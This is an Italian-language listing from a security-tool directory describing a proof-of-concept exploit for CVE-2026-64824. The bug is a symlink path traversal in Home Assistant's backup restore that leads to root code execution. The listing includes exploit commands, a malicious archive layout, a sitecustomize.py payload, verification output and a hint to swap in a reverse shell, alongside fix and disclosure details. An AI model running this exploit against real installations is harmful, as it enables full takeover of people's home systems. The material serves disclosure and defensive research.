Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-64824-PoC — CVE-2026-64824 — Home Assistant backup-restore: attraversamento del percorso tramite symlink → RCE da root. Primo PoC funzionante, verificato su una reale installazione di HA 2026.5.4 (sovrascrittura di sitecustomize.py). GHSA-cwh8-w64c-4j5h | Kitploit
Strumenti/GitHubGitHub/boreas37/cve-2026-64824-poc
Sicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubboreas37/cve-2026-64824-poc

CVE-2026-64824-PoC

CVE-2026-64824 — Home Assistant backup-restore: attraversamento del percorso tramite symlink → RCE da root. Primo PoC funzionante, verificato su una reale installazione di HA 2026.5.4 (sovrascrittura di sitecustomize.py). GHSA-cwh8-w64c-4j5h

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
110 giorni faNon ancora revisionato

CVE-2026-64824 — Home Assistant Core Backup-Restore: Symlink Path Traversal → RCE

CVSS 8.4 (Critico) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59

In breve

Un attaccante autenticato (admin) carica un tar di backup appositamente modificato. Il percorso di ripristino estrae il homeassistant.tar.gz interno con filter="fully_trusted" e valida solo i nomi dei membri — mai i linkname di tipo SYMTYPE. Un symlink che punta a un percorso assoluto (ad es. site-packages/ di Python) viene rispettato, quindi un sitecustomize.py scritto dopo di esso finisce fuori dalla directory di estrazione come root (l'immagine Docker ufficiale esegue HA come root). Al successivo avvio di Python viene importato automaticamente → RCE come root.

Verificato (2026-08-10)

✅ Home Assistant Core 2026.5.4 reale (Docker, arm64, Python 3.14.2):

root@kitploit:~
POST /api/backup/upload?agent_id=backup.local  → 201 {"backup_id": "..."}
websocket backup/restore                      → executed (config replaced)

$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

✅ sitecustomize.py è finito in /usr/local/lib/python3.14/site-packages/ (di proprietà di root)

✅ Verifica negativa: il modulo tarfile di Python 3.14.5 rifiuta i symlink assoluti (FileExistsError); Python 3.14.2 (incluso con HA 2026.5.x) li estrae — ecco perché le build più vecchie sono sfruttabili. Corretto in HA 2026.7.0.

Il bug

homeassistant/backup_restore.py (~v2026.5.x):

root@kitploit:~
istf.extractall(
    path=Path(tempdir, "homeassistant"),
    members=securetar.secure_path(istf),   # validates member.name only!
    filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)

secure_path() rifiuta nomi assoluti e traversal .., ma un membro SYMTYPE con un nome benigno + linkname assoluto supera il filtro invariato, e fully_trusted dice a tarfile di non controllarlo.

Exploit

root@kitploit:~
# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
    --link-target /usr/local/lib/python3.14/site-packages/

# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar

Formato del backup (v2, corrisponde ai backup HA reali):

root@kitploit:~
outer: ./backup.json            {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link           -> /usr/local/lib/python3.14/site-packages/   (SYMTYPE)
inner: data/evil_link/sitecustomize.py                                       (payload)

Qualsiasi avvio di un processo Python (riavvio di HA, python3 ... nel container) attiva sitecustomize.py — che esegue id > /tmp/HA_PWNED_64824 come root. Sostituisci il payload con una reverse shell per il controllo completo.

Impatto

  • RCE completa come root sulle installazioni Home Assistant OS/Container
  • Il ripristino del backup è accessibile a qualsiasi admin autenticato (e agli utenti con accesso backup/ripristino), incluso tramite il flusso UI "Ripristina backup"
  • Poiché il ripristino sostituisce prima la directory di configurazione, l'attacco funziona anche quando la configurazione è altrimenti bloccata

Correzione

Aggiorna a HA 2026.7.0+ (il ripristino ora usa un filtro tar rigoroso che rifiuta le voci symlink che escono dalla directory di estrazione).

Cronologia

  • 2026-07: Vulnerabilità divulgata da VulnCheck, pubblicata GHSA-cwh8-w64c-4j5h
  • 2026-08-10: Questo PoC — primo exploit pubblico funzionante con verifica completa di RCE come root su un'istanza reale 2026.5.4
  • Nessuno sfruttamento in-the-wild osservato al momento della pubblicazione

Disclaimer

Solo a scopo di ricerca/educazione. La vulnerabilità è già stata divulgata (GHSA-cwh8-w64c-4j5h) e corretta in 2026.7.0; questo repository dimostra la catena di sfruttamento per difensori e ricercatori.

Scarica lo strumento